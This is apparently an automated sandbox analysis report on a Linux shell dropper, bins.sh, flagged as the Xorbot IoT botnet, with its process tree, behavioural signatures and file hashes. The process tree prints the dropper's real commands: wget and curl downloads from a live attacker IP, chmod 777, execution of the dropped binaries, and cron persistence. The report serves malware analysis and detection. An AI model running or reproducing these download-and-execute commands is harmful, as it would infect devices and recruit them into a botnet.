Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    04-12-2024 04:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    48e22140eccdbc0e1791d3cfbd21b9a1

  • SHA1

    d857ca79cfcd50ab3af92a32ced5fba96e8fb286

  • SHA256

    e442d2493ef24372a63ca01790525986f2c74fe48f056a8bbcc93247556304e5

  • SHA512

    189e5ff3380834746664f5e1cf60f37d67c1b7f3e2e846ff497e5688f77c6073ccc2f448270f7f7c4d25cc54b929c9f07395e2e77351f222cfb5c7711e98719c

  • SSDEEP

    192:L29ANYNCkCsC0CvCzCOb4L/2ePeu33D69AlCkCsC0CvCzC0L/2ePeun:LBYNCkCsC0CvCzCOb4L/2ePeu33DdCkX

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1792) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 5 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:669
        • /usr/bin/wget
          wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • Writes file to tmp directory
          PID:671
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:686
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod 777 WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • File and Directory Permissions Modification
          PID:695
        • /tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          ./WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
          • Executes dropped EXE
          PID:696
        • /bin/rm
          rm WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23
          2⤵
            PID:698
          • /usr/bin/wget
            wget http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • Writes file to tmp directory
            PID:699
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:700
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • Writes file to tmp directory
            PID:703
          • /bin/chmod
            chmod 777 4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • File and Directory Permissions Modification
            PID:706
          • /tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            ./4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
            • Executes dropped EXE
            PID:707
          • /bin/rm
            rm 4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK
            2⤵
              PID:709
            • /usr/bin/wget
              wget http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • Writes file to tmp directory
              PID:711
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • Checks CPU configuration
              • Writes file to tmp directory
              PID:718
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • Writes file to tmp directory
              PID:724
            • /bin/chmod
              chmod 777 WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • File and Directory Permissions Modification
              PID:728
            • /tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              ./WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
              • Executes dropped EXE
              PID:729
            • /bin/rm
              rm WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1
              2⤵
                PID:732
              • /usr/bin/wget
                wget http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • Writes file to tmp directory
                PID:733
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:740
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • Writes file to tmp directory
                PID:747
              • /bin/chmod
                chmod 777 KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • File and Directory Permissions Modification
                PID:754
              • /tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                ./KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                • Executes dropped EXE
                PID:755
              • /bin/rm
                rm KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk
                2⤵
                  PID:758
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • Writes file to tmp directory
                  PID:759
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • Checks CPU configuration
                  • Writes file to tmp directory
                  PID:770
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • Writes file to tmp directory
                  PID:773
                • /bin/chmod
                  chmod 777 7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • File and Directory Permissions Modification
                  PID:774
                • /tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  ./7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:775
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:777
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                          PID:778
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:779
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:780
                      • /bin/rm
                        rm 7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m
                        2⤵
                          PID:782
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                          2⤵
                            PID:785
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                            2⤵
                              PID:786
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              2⤵
                              • Writes file to tmp directory
                              PID:867
                            • /bin/chmod
                              chmod 777 U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              2⤵
                              • File and Directory Permissions Modification
                              PID:872
                            • /tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              ./U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              2⤵
                              • Executes dropped EXE
                              PID:873
                            • /bin/rm
                              rm U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT
                              2⤵
                                PID:874
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
                                2⤵
                                  PID:875
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
                                  2⤵
                                    PID:878
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:880
                                  • /bin/chmod
                                    chmod 777 ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:888
                                  • /tmp/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
                                    ./ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
                                    2⤵
                                    • Executes dropped EXE
                                    PID:893
                                  • /bin/rm
                                    rm ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK
                                    2⤵
                                      PID:895
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
                                      2⤵
                                        PID:896
                                      • /usr/bin/curl
                                        curl -O http://216.126.231.240/bins/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
                                        2⤵
                                          PID:898
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:900
                                        • /bin/chmod
                                          chmod 777 m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:906
                                        • /tmp/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
                                          ./m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
                                          2⤵
                                          • Executes dropped EXE
                                          PID:907
                                        • /bin/rm
                                          rm m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL
                                          2⤵
                                            PID:909
                                          • /usr/bin/wget
                                            wget http://216.126.231.240/bins/4WtpoCOwABCnUcgyHzGh2Aage9irRdsAbF
                                            2⤵
                                              PID:911

                                          Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          • /tmp/4VxczSpKlzetyGrxybVEaQN3C7jA3k23HK

                                            Filesize

                                            111KB

                                            MD5

                                            ca897a38f23ec23521ce0b1b83f8422d

                                            SHA1

                                            b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                            SHA256

                                            043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                            SHA512

                                            10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                          • /tmp/7Xg6kSrTOC16MkpoFbfkz8CaDo6wJ5nZ4m

                                            Filesize

                                            177KB

                                            MD5

                                            786d75a158fe731feca3880f436082c0

                                            SHA1

                                            79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                            SHA256

                                            5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                            SHA512

                                            7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                          • /tmp/ILlv9G5zXpfHwTJL6so9afkJ2L8dgKdJzK

                                            Filesize

                                            151KB

                                            MD5

                                            6c583043d91c55aa470c08c87058e917

                                            SHA1

                                            abf65a5b9bba69980278ad09356e53de8bb89439

                                            SHA256

                                            2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                            SHA512

                                            82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                          • /tmp/KxOWo2BXSIUkje27uzWBErlWJLxgXmThhk

                                            Filesize

                                            99KB

                                            MD5

                                            9438d9bc392bcf300a5583b6df5bc8f6

                                            SHA1

                                            375a6ae34b516f6f3eeea8030c4084f585017efa

                                            SHA256

                                            68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                            SHA512

                                            1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                          • /tmp/U463yTbmf4vzvaEOFMpGzoa3ro32tuIqRT

                                            Filesize

                                            119KB

                                            MD5

                                            1b166b95f9cb4b079ef1b9ec8363ddf3

                                            SHA1

                                            0d8eb08add467b3b5474f9b25909297fe7c2839c

                                            SHA256

                                            94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                            SHA512

                                            983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                          • /tmp/WLqnOUhuZSvcHCoiggOTHVpK1F4EvQJGc1

                                            Filesize

                                            122KB

                                            MD5

                                            cd3d4b9c643e5b473fb4d88ed05f0716

                                            SHA1

                                            64ee7a97418583d759eaea8000890cc3bae1b5f4

                                            SHA256

                                            0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                            SHA512

                                            164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                          • /tmp/WlxTj0zeReTe1zMWVbdCu2ZoSsuZKEuo23

                                            Filesize

                                            112KB

                                            MD5

                                            05d7857dcead18bbd86d2935f591873c

                                            SHA1

                                            34d18f41ef35f93d5364ce3e24d74730a4e91985

                                            SHA256

                                            2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                            SHA512

                                            d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                          • /tmp/m2mBOStaJlSR8nSjdIsFyVXyGUWaCP7rlL

                                            Filesize

                                            107KB

                                            MD5

                                            eb9c3a0de91fcf16ba17cb24608df68c

                                            SHA1

                                            09d95a7d70d5e115d103be51edff7c498d272fac

                                            SHA256

                                            dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                            SHA512

                                            9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                          • /var/spool/cron/crontabs/tmp.qJo741

                                            Filesize

                                            210B

                                            MD5

                                            1f9f342e1b4ee959c11243e4535778c2

                                            SHA1

                                            f1dde8e05ff615e682a47b7dc7852dbf68cea516

                                            SHA256

                                            a2f9e7bdc4be64b479ec2d58d0db8bd719e83cc9fa8f4e162dc66eeab8577b77

                                            SHA512

                                            edba8d11d0ca648e5600d719cb300e9579f516dc41c77a4959d9e03f5bd7770d76c975103bc8c42ca1fa0cef40585428048086e11bbc604c0b2781e36a08df77